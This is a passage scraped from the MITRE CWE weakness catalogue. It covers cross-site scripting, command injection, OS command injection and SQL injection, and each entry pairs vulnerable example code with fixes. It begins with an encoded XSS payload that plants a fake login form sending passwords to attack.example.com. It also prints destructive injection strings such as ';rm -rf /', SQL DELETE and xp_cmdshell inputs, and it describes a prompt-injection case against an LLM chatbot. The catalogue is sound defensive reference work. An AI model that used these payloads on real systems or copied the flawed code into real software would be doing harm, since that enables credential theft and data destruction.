document.write('\u003C\u0064\u0069\u0076\u0020\u0069\u0064\u003D\u0022\u0073 \u0074\u0065\u0061\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064 \u0022\u003E\u0050\u006C\u0065\u0061\u0073\u0065\u0020\u004C\u006F\u0067 \u0069\u006E\u003A\u003C\u0066\u006F\u0072\u006D\u0020\u006E\u0061\u006D \u0065\u003D\u0022\u0069\u006E\u0070\u0075\u0074\u0022\u0020\u0061\u0063 \u0074\u0069\u006F\u006E\u003D\u0022\u0068\u0074\u0074\u0070\u003A\u002F \u002F\u0061\u0074\u0074\u0061\u0063\u006B\u002E\u0065\u0078\u0061\u006D \u0070\u006C\u0065\u002E\u0063\u006F\u006D\u002F\u0073\u0074\u0065\u0061 \u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u002E\u0070\u0068 \u0070\u0022\u0020\u006D\u0065\u0074\u0068\u006F\u0064\u003D\u0022\u0070 \u006F\u0073\u0074\u0022\u003E\u0055\u0073\u0065\u0072\u006E\u0061\u006D \u0065\u003A\u0020\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079 \u0070\u0065\u003D\u0022\u0074\u0065\u0078\u0074\u0022\u0020\u006E\u0061 \u006D\u0065\u003D\u0022\u0075\u0073\u0065\u0072\u006E\u0061\u006D\u0065 \u0022\u0020\u002F\u003E\u003C\u0062\u0072\u002F\u003E\u0050\u0061\u0073 \u0073\u0077\u006F\u0072\u0064\u003A\u0020\u003C\u0069\u006E\u0070\u0075 \u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0070\u0061\u0073\u0073 \u0077\u006F\u0072\u0064\u0022\u0020\u006E\u0061\u006D\u0065\u003D\u0022 \u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u0020\u002F\u003E \u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079\u0070\u0065\u003D \u0022\u0073\u0075\u0062\u006D\u0069\u0074\u0022\u0020\u0076\u0061\u006C \u0075\u0065\u003D\u0022\u004C\u006F\u0067\u0069\u006E\u0022\u0020\u002F \u003E\u003C\u002F\u0066\u006F\u0072\u006D\u003E\u003C\u002F\u0064\u0069\u0076\u003E\u000D');</script> Both of these attack links will result in the fake login box appearing on the page, and users are more likely to ignore indecipherable text at the end of URLs. Example 2 The following code displays a Reflected XSS (Type 1) scenario. The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it to the user. (bad code)
Example Language: JSP
<% String eid = request.getParameter("eid"); %>
... Employee ID: <%= eid %> The following ASP.NET code segment reads an employee ID number from an HTTP request and displays it to the user. (bad code)
Example Language: ASP.NET
<%
protected System.Web.UI.WebControls.TextBox Login; protected System.Web.UI.WebControls.Label EmployeeID; ... EmployeeID.Text = Login.Text; %> <p><asp:label id="EmployeeID" runat="server" /></p> The code in this example operates correctly if the Employee ID variable contains only standard alphanumeric text. If it has a value that includes meta-characters or source code, then the code will be executed by the web browser as it displays the HTTP response. Example 3 The following code displays a Stored XSS (Type 2) scenario. The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name. (bad code)
Example Language: JSP
<%Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid); if (rs != null) { rs.next(); }%>String name = rs.getString("name"); Employee Name: <%= name %> The following ASP.NET code segment queries a database for an employee with a given employee ID and prints the name corresponding with the ID. (bad code)
Example Language: ASP.NET
<%
protected System.Web.UI.WebControls.Label EmployeeName; ... string query = "select * from emp where id=" + eid; sda = new SqlDataAdapter(query, conn); sda.Fill(dt); string name = dt.Rows[0]["Name"]; ... EmployeeName.Text = name;%> <p><asp:label id="EmployeeName" runat="server" /></p> This code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user's web browser. Example 4 The following code consists of two separate pages in a web application, one devoted to creating user accounts and another devoted to listing active users currently logged in. It also displays a Stored XSS (Type 2) scenario. CreateUser.php (bad code)
Example Language: PHP
$username = mysql_real_escape_string($username);
$fullName = mysql_real_escape_string($fullName); $query = sprintf('Insert Into users (username,password) Values ("%s","%s","%s")', $username, crypt($password),$fullName) ; mysql_query($query); /.../ The code is careful to avoid a SQL injection attack (CWE-89) but does not stop valid HTML from being stored in the database. This can be exploited later when ListUsers.php retrieves the information: ListUsers.php (bad code)
Example Language: PHP
$query = 'Select * From users Where loggedIn=true';
$results = mysql_query($query); if (!$results) { exit; }//Print list of users to page echo '<div id="userlist">Currently Active Users:'; while ($row = mysql_fetch_assoc($results)) { echo '<div class="userNames">'.$row['fullname'].'</div>'; }echo '</div>'; The attacker can set their name to be arbitrary HTML, which will then be displayed to all visitors of the Active Users page. This HTML can, for example, be a password stealing Login message. Example 5 The following code is a simplistic message board that saves messages in HTML format and appends them to a file. When a new user arrives in the room, it makes an announcement: (bad code)
Example Language: PHP
$name = $_COOKIE["myname"];
$announceStr = "$name just logged in."; //save HTML-formatted message to file; implementation details are irrelevant for this example. saveMessage($announceStr); An attacker may be able to perform an HTML injection (Type 2 XSS) attack by setting a cookie to a value like: (attack code)
<script>document.alert('Hacked');</script>
The raw contents of the message file would look like: (result)
<script>document.alert('Hacked');</script> has logged in.
For each person who visits the message page, their browser would execute the script, generating a pop-up window that says "Hacked". More malicious attacks are possible; see the rest of this entry.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Relationship There can be a close relationship between XSS and CSRF (CWE-352). An attacker might use CSRF in order to trick the victim into submitting requests to the server in which the requests contain an XSS payload. A well-known example of this was the Samy worm on MySpace [REF-956]. The worm used XSS to insert malicious HTML sequences into a user's profile and add the attacker as a MySpace friend. MySpace friends of that victim would then execute the payload to modify their own profiles, causing the worm to propagate exponentially. Since the victims did not intentionally insert the malicious script themselves, CSRF was a root cause. Applicable Platform XSS flaws are very common in web applications, since they require a great deal of developer discipline to avoid them.
CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterMany protocols and products have their own custom command language. While OS or shell command strings are frequently discovered and targeted, developers may not realize that these other command languages might also be vulnerable to attacks.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Relevant to the view "Architectural Concepts" (CWE-1008)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages Class: Not Language-Specific (Undetermined Prevalence) Technologies AI/ML (Undetermined Prevalence) Example 1 Consider a "CWE Differentiator" application that uses an an LLM generative AI based "chatbot" to explain the difference between two weaknesses. As input, it accepts two CWE IDs, constructs a prompt string, sends the prompt to the chatbot, and prints the results. The prompt string effectively acts as a command to the chatbot component. Assume that invokeChatbot() calls the chatbot and returns the response as a string; the implementation details are not important here. (bad code)
Example Language: Python
prompt = "Explain the difference between {} and {}".format(arg1, arg2)
result = invokeChatbot(prompt) resultHTML = encodeForHTML(result) print resultHTML To avoid XSS risks, the code ensures that the response from the chatbot is properly encoded for HTML output. If the user provides CWE-77 and CWE-78, then the resulting prompt would look like: However, the attacker could provide malformed CWE IDs containing malicious prompts such as: This would produce a prompt like: Instead of providing well-formed CWE IDs, the adversary has performed a "prompt injection" attack by adding an additional prompt that was not intended by the developer. The result from the maliciously modified prompt might be something like this: While the attack in this example is not serious, it shows the risk of unexpected results. Prompts can be constructed to steal private information, invoke unexpected agents, etc. In this case, it might be easiest to fix the code by validating the input CWE IDs: (good code)
Example Language: Python
cweRegex = re.compile("^CWE-\d+$")
match1 = cweRegex.search(arg1) match2 = cweRegex.search(arg2) if match1 is None or match2 is None:
# throw exception, generate error, etc.
prompt = "Explain the difference between {} and {}".format(arg1, arg2)... Example 2 Consider the following program. It intends to perform an "ls -l" on an input filename. The validate_name() subroutine performs validation on the input to make sure that only alphanumeric and "-" characters are allowed, which avoids path traversal (CWE-22) and OS command injection (CWE-78) weaknesses. Only filenames like "abc" or "d-e-f" are intended to be allowed. (bad code)
Example Language: Perl
my $arg = GetArgument("filename");
do_listing($arg); sub do_listing {
my($fname) = @_;
}
if (! validate_name($fname)) {
print "Error: name is not well-formed!\n";
}return; # build command my $cmd = "/bin/ls -l $fname"; system($cmd); sub validate_name {
my($name) = @_;
}
if ($name =~ /^[\w\-]+$/) {
return(1);
}else {
return(0);
}However, validate_name() allows filenames that begin with a "-". An adversary could supply a filename like "-aR", producing the "ls -l -aR" command (CWE-88), thereby getting a full recursive listing of the entire directory and all of its sub-directories. There are a couple possible mitigations for this weakness. One would be to refactor the code to avoid using system() altogether, instead relying on internal functions. Another option could be to add a "--" argument to the ls command, such as "ls -l --", so that any remaining arguments are treated as filenames, causing any leading "-" to be treated as part of a filename instead of another option. Another fix might be to change the regular expression used in validate_name to force the first character of the filename to be a letter or number, such as: (good code)
Example Language: Perl
if ($name =~ /^\w[\w\-]+$/) ...
Example 3 The following simple program accepts a filename as a command line argument and displays the contents of the file back to the user. The program is installed setuid root because it is intended for use as a learning tool to allow system administrators in-training to inspect privileged system files without giving them the ability to modify them or damage the system. (bad code)
Example Language: C
int main(int argc, char** argv) {
char cmd[CMD_MAX] = "/usr/bin/cat "; }strcat(cmd, argv[1]); system(cmd); Because the program runs with root privileges, the call to system() also executes with root privileges. If a user specifies a standard filename, the call works as expected. However, if an attacker passes a string of the form ";rm -rf /", then the call to system() fails to execute cat due to a lack of arguments and then plows on to recursively delete the contents of the root partition, leading to OS command injection (CWE-78). Note that if argv[1] is a very long argument, then this issue might also be subject to a buffer overflow (CWE-120). Example 4 The following code is from an administrative web application designed to allow users to kick off a backup of an Oracle database using a batch-file wrapper around the rman utility and then run a cleanup.bat script to delete some temporary files. The script rmanDB.bat accepts a single command line parameter, which specifies what type of backup to perform. Because access to the database is restricted, the application runs the backup as a privileged user. (bad code)
Example Language: Java
...
String btype = request.getParameter("backuptype"); String cmd = new String("cmd.exe /K \" c:\\util\\rmanDB.bat "
+btype+ "&&c:\\utl\\cleanup.bat\"") System.Runtime.getRuntime().exec(cmd); ... The problem here is that the program does not do any validation on the backuptype parameter read from the user. Typically the Runtime.exec() function will not execute multiple commands, but in this case the program first runs the cmd.exe shell in order to run multiple commands with a single call to Runtime.exec(). Once the shell is invoked, it will happily execute multiple commands separated by two ampersands. If an attacker passes a string of the form "& del c:\\dbms\\*.*", then the application will execute this command along with the others specified by the program. Because of the nature of the application, it runs with the privileges necessary to interact with the database, which means whatever command the attacker injects will run with those privileges as well.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Terminology The "command injection" phrase carries different meanings, either as an attack or as a technical impact. The most common usage of "command injection" refers to the more-accurate OS command injection (CWE-78), but there are many command languages. In vulnerability-focused analysis, the phrase may refer to any situation in which the adversary can execute commands of their own choosing, i.e., the focus is on the risk and/or technical impact of exploitation. Many proof-of-concept exploits focus on the ability to execute commands and may emphasize "command injection." However, there are dozens of weaknesses that can allow execution of commands. That is, the ability to execute commands could be resultant from another weakness. To some, "command injection" can include cases in which the functionality intentionally allows the user to specify an entire command, which is then executed. In this case, the root cause weakness might be related to missing or incorrect authorization, since an adversary should not be able to specify arbitrary commands, but some users or admins are allowed. CWE-77 and its descendants are specifically focused on behaviors in which the product is intentionally building a command to execute, and the adversary can inject separators into the command or otherwise change the command being executed. Other Command injection is a common problem with wrapper programs.
CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThis weakness can lead to a vulnerability in environments in which the attacker does not have direct access to the operating system, such as in web applications. Alternately, if the weakness occurs in a privileged program, it could allow the attacker to specify commands that normally would not be accessible, or to call alternate commands with privileges that the attacker does not have. The problem is exacerbated if the compromised process does not follow the principle of least privilege, because the attacker-controlled commands may run with special system privileges that increases the amount of damage. There are at least two subtypes of OS command injection:
From a weakness standpoint, these variants represent distinct programmer errors. In the first variant, the programmer clearly intends that input from untrusted parties will be part of the arguments in the command to be executed. In the second variant, the programmer does not intend for the command to be accessible to any untrusted party, but the programmer probably has not accounted for alternate ways in which malicious attackers can provide input. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Relevant to the view "Architectural Concepts" (CWE-1008)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages Class: Not Language-Specific (Undetermined Prevalence) Example 1 This example code intends to take the name of a user and list the contents of that user's home directory. It is subject to the first variant of OS command injection. (bad code)
Example Language: PHP
$userName = $_POST["user"];
$command = 'ls -l /home/' . $userName; system($command); The $userName variable is not checked for malicious input. An attacker could set the $userName variable to an arbitrary OS command such as: (attack code)
;rm -rf /
Which would result in $command being: (result)
ls -l /home/;rm -rf /
Since the semi-colon is a command separator in Unix, the OS would first execute the ls command, then the rm command, deleting the entire file system. Also note that this example code is vulnerable to Path Traversal (CWE-22) and Untrusted Search Path (CWE-426) attacks. Example 2 The following simple program accepts a filename as a command line argument and displays the contents of the file back to the user. The program is installed setuid root because it is intended for use as a learning tool to allow system administrators in-training to inspect privileged system files without giving them the ability to modify them or damage the system. (bad code)
Example Language: C
int main(int argc, char** argv) {
char cmd[CMD_MAX] = "/usr/bin/cat "; }strcat(cmd, argv[1]); system(cmd); Because the program runs with root privileges, the call to system() also executes with root privileges. If a user specifies a standard filename, the call works as expected. However, if an attacker passes a string of the form ";rm -rf /", then the call to system() fails to execute cat due to a lack of arguments and then plows on to recursively delete the contents of the root partition. Note that if argv[1] is a very long argument, then this issue might also be subject to a buffer overflow (CWE-120). Example 3 This example is a web application that intends to perform a DNS lookup of a user-supplied domain name. It is subject to the first variant of OS command injection. (bad code)
Example Language: Perl
use CGI qw(:standard);
$name = param('name'); $nslookup = "/path/to/nslookup"; print header; if (open($fh, "$nslookup $name|")) { while (<$fh>) { }print escapeHTML($_); }print "<br>\n"; close($fh); Suppose an attacker provides a domain name like this: (attack code)
cwe.mitre.org%20%3B%20/bin/ls%20-l
The "%3B" sequence decodes to the ";" character, and the %20 decodes to a space. The open() statement would then process a string like this: (result)
/path/to/nslookup cwe.mitre.org ; /bin/ls -l
As a result, the attacker executes the "/bin/ls -l" command and gets a list of all the files in the program's working directory. The input could be replaced with much more dangerous commands, such as installing a malicious program on the server. Example 4 The example below reads the name of a shell script to execute from the system properties. It is subject to the second variant of OS command injection. (bad code)
Example Language: Java
String script = System.getProperty("SCRIPTNAME");
if (script != null) System.exec(script);
If an attacker has control over this property, then they could modify the property to point to a dangerous program. Example 5 In the example below, a method is used to transform geographic coordinates from latitude and longitude format to UTM format. The method gets the input coordinates from a user through a HTTP request and executes a program local to the application server that performs the transformation. The method passes the latitude and longitude coordinates as a command-line option to the external program and will perform some processing to retrieve the results of the transformation and return the resulting UTM coordinates. (bad code)
Example Language: Java
public String coordinateTransformLatLonToUTM(String coordinates)
{ String utmCoords = null;
try { String latlonCoords = coordinates;
Runtime rt = Runtime.getRuntime(); Process exec = rt.exec("cmd.exe /C latlon2utm.exe -" + latlonCoords); // process results of coordinate transform // ... catch(Exception e) {...} return utmCoords; However, the method does not verify that the contents of the coordinates input parameter includes only correctly-formatted latitude and longitude coordinates. If the input coordinates were not validated prior to the call to this method, a malicious user could execute another program local to the application server by appending '&' followed by the command for another program to the end of the coordinate string. The '&' instructs the Windows operating system to execute another program. Example 6 The following code is from an administrative web application designed to allow users to kick off a backup of an Oracle database using a batch-file wrapper around the rman utility and then run a cleanup.bat script to delete some temporary files. The script rmanDB.bat accepts a single command line parameter, which specifies what type of backup to perform. Because access to the database is restricted, the application runs the backup as a privileged user. (bad code)
Example Language: Java
...
String btype = request.getParameter("backuptype"); String cmd = new String("cmd.exe /K \" c:\\util\\rmanDB.bat "
+btype+ "&&c:\\utl\\cleanup.bat\"") System.Runtime.getRuntime().exec(cmd); ... The problem here is that the program does not do any validation on the backuptype parameter read from the user. Typically the Runtime.exec() function will not execute multiple commands, but in this case the program first runs the cmd.exe shell in order to run multiple commands with a single call to Runtime.exec(). Once the shell is invoked, it will happily execute multiple commands separated by two ampersands. If an attacker passes a string of the form "& del c:\\dbms\\*.*", then the application will execute this command along with the others specified by the program. Because of the nature of the application, it runs with the privileges necessary to interact with the database, which means whatever command the attacker injects will run with those privileges as well. Example 7 The following code is a wrapper around the UNIX command cat which prints the contents of a file to standard out. It is also injectable: (bad code)
Example Language: C
#include <stdio.h>
#include <unistd.h> int main(int argc, char **argv) { char cat[] = "cat "; char *command; size_t commandLength; commandLength = strlen(cat) + strlen(argv[1]) + 1; command = (char *) malloc(commandLength); strncpy(command, cat, commandLength); strncat(command, argv[1], (commandLength - strlen(cat)) ); system(command); return (0); Used normally, the output is simply the contents of the file requested, such as Story.txt: (informative)
./catWrapper Story.txt
(result)
When last we left our heroes...
However, if the provided argument includes a semicolon and another command, such as: (attack code)
Story.txt; ls
Then the "ls" command is executed by catWrapper with no complaint: (result)
./catWrapper Story.txt; ls
Two commands would then be executed: catWrapper, then ls. The result might look like: (result)
When last we left our heroes...
Story.txt SensitiveFile.txt PrivateData.db a.out* If catWrapper had been set to have a higher privilege level than the standard user, arbitrary commands could be executed with that higher privilege.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Terminology
The "OS command injection" phrase carries different meanings to different people. For some people, it only refers to cases in which the attacker injects command separators into arguments for an application-controlled program that is being invoked. For some people, it refers to any type of attack that can allow the attacker to execute OS commands of their own choosing. This usage could include untrusted search path weaknesses (CWE-426) that cause the application to find and execute an attacker-controlled program. Further complicating the issue is the case when argument injection (CWE-88) allows alternate command-line switches or options to be inserted into the command line, such as an "-exec" switch whose purpose may be to execute the subsequent argument as a command (this -exec switch exists in the UNIX "find" command, for example). In this latter case, however, CWE-88 could be regarded as the primary weakness in a chain with CWE-78.
Research Gap
More investigation is needed into the distinction between the OS command injection variants, including the role with argument injection (CWE-88). Equivalent distinctions may exist in other injection-related problems such as SQL injection.
CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom Filter
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Relevant to the view "Architectural Concepts" (CWE-1008)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "Weaknesses in OWASP Top Ten (2013)" (CWE-928)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages Class: Not Language-Specific (Undetermined Prevalence) Technologies Database Server (Undetermined Prevalence) Example 1 In 2008, a large number of web servers were compromised using the same SQL injection attack string. This single string worked against many different programs. The SQL injection was then used to modify the web sites to serve malicious code. Example 2 The following code dynamically constructs and executes a SQL query that searches for items matching a specified name. The query restricts the items displayed to those where owner matches the user name of the currently-authenticated user. (bad code)
Example Language: C#
...
string userName = ctx.getAuthenticatedUserName(); string query = "SELECT * FROM items WHERE owner = '" + userName + "' AND itemname = '" + ItemName.Text + "'"; sda = new SqlDataAdapter(query, conn); DataTable dt = new DataTable(); sda.Fill(dt); ... The query that this code intends to execute follows: (informative)
SELECT * FROM items WHERE owner = <userName> AND itemname = <itemName>;
However, because the query is constructed dynamically by concatenating a constant base query string and a user input string, the query only behaves correctly if itemName does not contain a single-quote character. If an attacker with the user name wiley enters the string: (attack code)
name' OR 'a'='a
for itemName, then the query becomes the following: (attack code)
SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name' OR 'a'='a';
The addition of the: (attack code)
OR 'a'='a
condition causes the WHERE clause to always evaluate to true, so the query becomes logically equivalent to the much simpler query: (attack code)
SELECT * FROM items;
This simplification of the query allows the attacker to bypass the requirement that the query only return items owned by the authenticated user; the query now returns all entries stored in the items table, regardless of their specified owner. Example 3 This example examines the effects of a different malicious value passed to the query constructed and executed in the previous example. If an attacker with the user name wiley enters the string: (attack code)
name'; DELETE FROM items; --
for itemName, then the query becomes the following two queries: (attack code)
Example Language: SQL
SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name';
DELETE FROM items; --' Many database servers, including Microsoft(R) SQL Server 2000, allow multiple SQL statements separated by semicolons to be executed at once. While this attack string results in an error on Oracle and other database servers that do not allow the batch-execution of statements separated by semicolons, on databases that do allow batch execution, this type of attack allows the attacker to execute arbitrary commands against the database. Notice the trailing pair of hyphens (--), which specifies to most database servers that the remainder of the statement is to be treated as a comment and not executed. In this case the comment character serves to remove the trailing single-quote left over from the modified query. On a database where comments are not allowed to be used in this way, the general attack could still be made effective using a trick similar to the one shown in the previous example. If an attacker enters the string (attack code)
name'; DELETE FROM items; SELECT * FROM items WHERE 'a'='a
Then the following three valid statements will be created: (attack code)
SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name';
DELETE FROM items; SELECT * FROM items WHERE 'a'='a'; One traditional approach to preventing SQL injection attacks is to handle them as an input validation problem and either accept only characters from an allowlist of safe values or identify and escape a denylist of potentially malicious values. Allowlists can be a very effective means of enforcing strict input validation rules, but parameterized SQL statements require less maintenance and can offer more guarantees with respect to security. As is almost always the case, denylisting is riddled with loopholes that make it ineffective at preventing SQL injection attacks. For example, attackers can:
Manually escaping characters in input to SQL queries can help, but it will not make your application secure from SQL injection attacks. Another solution commonly proposed for dealing with SQL injection attacks is to use stored procedures. Although stored procedures prevent some types of SQL injection attacks, they do not protect against many others. For example, the following PL/SQL procedure is vulnerable to the same SQL injection attack shown in the first example. (bad code)
procedure get_item ( itm_cv IN OUT ItmCurTyp, usr in varchar2, itm in varchar2)
is open itm_cv for ' SELECT * FROM items WHERE ' || 'owner = '|| usr || ' AND itemname = ' || itm || '; end get_item; Stored procedures typically help prevent SQL injection attacks by limiting the types of statements that can be passed to their parameters. However, there are many ways around the limitations and many interesting statements that can still be passed to stored procedures. Again, stored procedures can prevent some exploits, but they will not make your application secure against SQL injection attacks. Example 4 MS SQL has a built in function that enables shell command execution. An SQL injection in such a context could be disastrous. For example, a query of the form: (bad code)
SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='$user_input' ORDER BY PRICE
Where $user_input is taken from an untrusted source. If the user provides the string: (attack code)
'; exec master..xp_cmdshell 'dir' --
The query will take the following form: (attack code)
SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY=''; exec master..xp_cmdshell 'dir' --' ORDER BY PRICE
Now, this query can be broken down into:
As can be seen, the malicious input changes the semantics of the query into a query, a shell command execution and a comment. Example 5 This code intends to print a message summary given the message ID. (bad code)
Example Language: PHP
$id = $_COOKIE["mid"];
mysql_query("SELECT MessageID, Subject FROM messages WHERE MessageID = '$id'"); The programmer may have skipped any input validation on $id under the assumption that attackers cannot modify the cookie. However, this is easy to do with custom client code or even in the web browser. While $id is wrapped in single quotes in the call to mysql_query(), an attacker could simply change the incoming mid cookie to: (attack code)
1432' or '1' = '1
This would produce the resulting query: (result)
SELECT MessageID, Subject FROM messages WHERE MessageID = '1432' or '1' = '1'
Not only will this retrieve message number 1432, it will retrieve all other messages. In this case, the programmer could apply a simple modification to the code to eliminate the SQL injection: (good code)
Example Language: PHP
$id = intval($_COOKIE["mid"]);
mysql_query("SELECT MessageID, Subject FROM messages WHERE MessageID = '$id'"); However, if this code is intended to support multiple users with different message boxes, the code might also need an access control check (CWE-285) to ensure that the application user has the permission to see that message. Example 6 This example attempts to take a last name provided by a user and enter it into a database. (bad code)
Example Language: Perl
$userKey = getUserID();
$name = getUserInput(); # ensure only letters, hyphens and apostrophe are allowed $name = allowList($name, "^a-zA-z'-$"); $query = "INSERT INTO last_names VALUES('$userKey', '$name')"; While the programmer applies an allowlist to the user input, it has shortcomings. First of all, the user is still allowed to provide hyphens, which are used as comment structures in SQL. If a user specifies "--" then the remainder of the statement will be treated as a comment, which may bypass security logic. Furthermore, the allowlist permits the apostrophe, which is also a data / command separator in SQL. If a user supplies a name with an apostrophe, they may be able to alter the structure of the whole statement and even change control flow of the program, possibly accessing or modifying confidential information. In this situation, both the hyphen and apostrophe are legitimate characters for a last name and permitting them is required. Instead, a programmer may want to use a prepared statement or apply an encoding routine to the input to prevent any data / directive misinterpretations.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Relationship
SQL injection can be resultant from special character mismanagement, MAID, or denylist/allowlist problems. It can be primary to authentication errors.
CWE-269: Improper Privilege Management
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThis table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
